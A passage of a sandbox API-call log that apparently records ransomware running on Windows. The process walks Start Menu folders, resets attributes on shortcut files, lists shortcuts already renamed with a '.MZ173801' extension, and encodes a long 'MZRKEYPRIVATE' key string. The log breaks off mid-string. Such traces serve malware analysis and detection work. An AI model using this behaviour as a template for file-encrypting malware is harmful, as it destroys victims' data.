0xab4 [0204.829] GetCurrentThreadId () returned 0xab4 [0204.829] GetCurrentThreadId () returned 0xab4 [0204.829] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0204.829] GetLastError () returned 0x12 [0204.829] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0204.829] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa3c93066, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa3c93066, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0204.829] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0204.829] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.829] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa3c93066, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa3c93066, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0204.830] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0204.830] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.830] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0204.831] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa13263b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell (x86).lnk.MZ173801", cAlternateFileName="WINDOW~1.MZ1")) returned 1 [0204.831] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0204.831] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.831] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa220cd73, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell ISE (x86).lnk.MZ173801", cAlternateFileName="WINDOW~2.MZ1")) returned 1 [0204.831] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0204.831] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.831] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa31d8518, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell ISE.lnk.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 1 [0204.831] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0204.831] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.831] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa3b7dfb2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell.lnk.MZ173801", cAlternateFileName="WINDOW~4.MZ1")) returned 1 [0204.831] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0204.831] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0204.831] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa3b7dfb2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows PowerShell.lnk.MZ173801", cAlternateFileName="WINDOW~4.MZ1")) returned 0 [0204.832] GetLastError () returned 0x12 [0204.832] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0204.832] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0204.832] GetLastError () returned 0x12 [0204.832] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0204.832] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0204.832] GetLastError () returned 0x12 [0204.832] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0204.833] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0204.833] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\programdata\\microsoft\\windows\\start menu")) returned 0x11 [0204.833] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=22, fCreate=0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 1 [0204.833] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0204.834] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="..", cAlternateFileName="")) returned 1 [0204.834] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f43b93, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0204.834] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0204.834] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0204.834] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="Programs", cAlternateFileName="")) returned 1 [0204.834] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="Programs", cAlternateFileName="")) returned 0 [0204.834] GetLastError () returned 0x12 [0204.834] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0204.834] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0204.834] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0204.834] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0204.834] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="..", cAlternateFileName="")) returned 1 [0204.834] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0204.835] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0204.835] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f43b93, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0204.835] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="Programs", cAlternateFileName="")) returned 1 [0204.835] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0204.835] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0204.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0204.835] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0204.835] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae4bfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ae4bfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ae4bfb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x974, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1 [0204.835] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0204.835] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0204.835] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae4bfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ae4bfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ae4bfb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x974)) returned 1 [0204.836] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk")) returned 0x20 [0204.837] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk", dwFileAttributes=0x80) returned 1 [0205.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0205.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCn